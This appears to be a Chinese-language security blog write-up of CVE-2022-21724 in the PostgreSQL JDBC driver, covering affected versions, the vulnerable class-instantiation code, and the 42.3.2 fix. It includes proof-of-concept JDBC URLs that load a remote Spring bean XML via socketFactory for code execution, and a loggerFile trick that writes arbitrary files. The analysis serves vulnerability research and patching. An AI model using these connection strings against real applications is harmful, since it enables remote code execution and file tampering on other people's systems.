CVE-2022-21724 PostgresQL JDBC Drive 任意代码执行漏洞

前言

无。


漏洞影响

9.4.1208 <= PgJDBC < 42.2.25

42.3.0 <= PgJDBC < 42.3.2

环境搭建

maven依赖:

1
2
3
4
5
<dependency>
<groupId>org.postgresql</groupId>
<artifactId>postgresql</artifactId>
<version>42.3.1</version>
</dependency>

漏洞分析

参考文章使用的测试用漏洞代码:

1
2
3
4
String socketFactoryClass = "org.springframework.context.support.ClassPathXmlApplicationContext";
String socketFactoryArg = "http://127.0.0.1:8080/bean.xml";
String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/test/?socketFactory=" + socketFactoryClass + "&socketFactoryArg=" + socketFactoryArg;
DriverManager.getConnection(jdbcUrl);

感觉跟之前的很像JXPath漏洞的利用方式,应该是数据库连接过程中会有指定对象实例化的过程。

运行一下就可以看到找不到类的报错,定位到SocketFactoryFactory类的getSocketFactory函数:

1
2
3
4
5
6
7
8
9
10
String socketFactoryClassName = PGProperty.SOCKET_FACTORY.get(info);
if (socketFactoryClassName == null) {
return SocketFactory.getDefault();
}
try {
return (SocketFactory) ObjectFactory.instantiate(socketFactoryClassName, info, true,
PGProperty.SOCKET_FACTORY_ARG.get(info));
} catch (Exception e) {
...
}

调用ObjectFactory.instantiate函数实例化了输入的jdbc url中配置的工厂类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
@Nullable Object[] args = {info};
Constructor<?> ctor = null;
Class<?> cls = Class.forName(classname);
try {
ctor = cls.getConstructor(Properties.class);
} catch (NoSuchMethodException ignored) {
}
if (tryString && ctor == null) {
try {
ctor = cls.getConstructor(String.class);
args = new String[]{stringarg};
} catch (NoSuchMethodException ignored) {
}
}
if (ctor == null) {
ctor = cls.getConstructor();
args = new Object[0];
}
return ctor.newInstance(args);

可以看到,这里在寻找构造函数的时候存在参数要求:

  • 参数为Properties

  • 或者参数为String

  • 或者无参

可利用的也没多少了。

漏洞利用

函数调用1

加上spring-context-support依赖,开启tomcat,xml就用JXPath同款就行,漏洞正常触发。

函数调用2

参数改成sslfactory和sslfactoryarg,看起来需要一个数据库服务端。

文件写

参数改成loggerLevel和loggerFile:

1
2
3
4
5
String loggerLevel = "debug";
String loggerFile = "test.txt";
String shellContent = "test";
String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/test?loggerLevel=" + loggerLevel + "&loggerFile=" + loggerFile+ "&" + shellContent;
DriverManager.getConnection(jdbcUrl);

Postgres数据库引擎在解析完URL后建立连接前会调用setupLoggerFromProperties函数,其中会打开日志文件:

1
2
3
4
5
6
7
8
9
10
11
final String driverLogFile = PGProperty.LOGGER_FILE.get(exprProps);
...
java.util.logging.Handler handler = null;
if (driverLogFile != null) {
try {
handler = new java.util.logging.FileHandler(driverLogFile);
loggerHandlerFile = driverLogFile;
} catch (Exception ex) {
...
}
}

没有目录校验,但是日志内容比较复杂,包括jdbc url,函数调用栈和异常等等。

漏洞修复

猜测修复方式是限制工厂类的类型,将postgresql依赖换成42.3.2版本的,会发现报错:

1
警告: JDBC URL contains too many / characters

找到org.postgresql.Driver类的parseURL函数,可以看到其对/出现的次数做了限制:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if (!urlServer.equals("//") && !urlServer.equals("///")) {
if (urlServer.startsWith("//")) {
urlServer = urlServer.substring(2);
long slashCount = urlServer.chars().filter((ch) -> {
return ch == 47;
}).count();
if (slashCount > 1L) {
LOGGER.log(Level.WARNING, "JDBC URL contains too many / characters: {0}", url);
return null;
}
...
}
...
}

除去开头的//外只能出现一次/,而端口和数据库名之间肯定要有一个/,所以参数里是肯定不能有/了,想从外面加载xml也就行不通了。

此时阅读代码可以发现,如果jdbc url的引擎后没有//,就会进入另一个代码块,那里面没有对/的次数限制,但是到了getSocketFactory调用构造函数时:

1
2
return (SocketFactory)ObjectFactory.instantiate(SocketFactory.class, socketFactoryClassName, info, true, PGProperty.SOCKET_FACTORY_ARG.get(info));

多了一个SocketFactory.class的输入参数,后续加载类时:

1
Class cls = Class.forName(classname).asSubclass(expectedClass);

要求工厂类要是SocketFactory的子类,基本上已经修好了。


参考

PostgresQL JDBC Drive 任意代码执行漏洞(CVE-2022-21724)


CVE-2022-21724 PostgresQL JDBC Drive 任意代码执行漏洞
http://yoursite.com/2023/02/05/CVE-2022-21724-PostgresQL-JDBC-Drive-任意代码执行漏洞/
作者
Aluvion
发布于
2023年2月5日
许可协议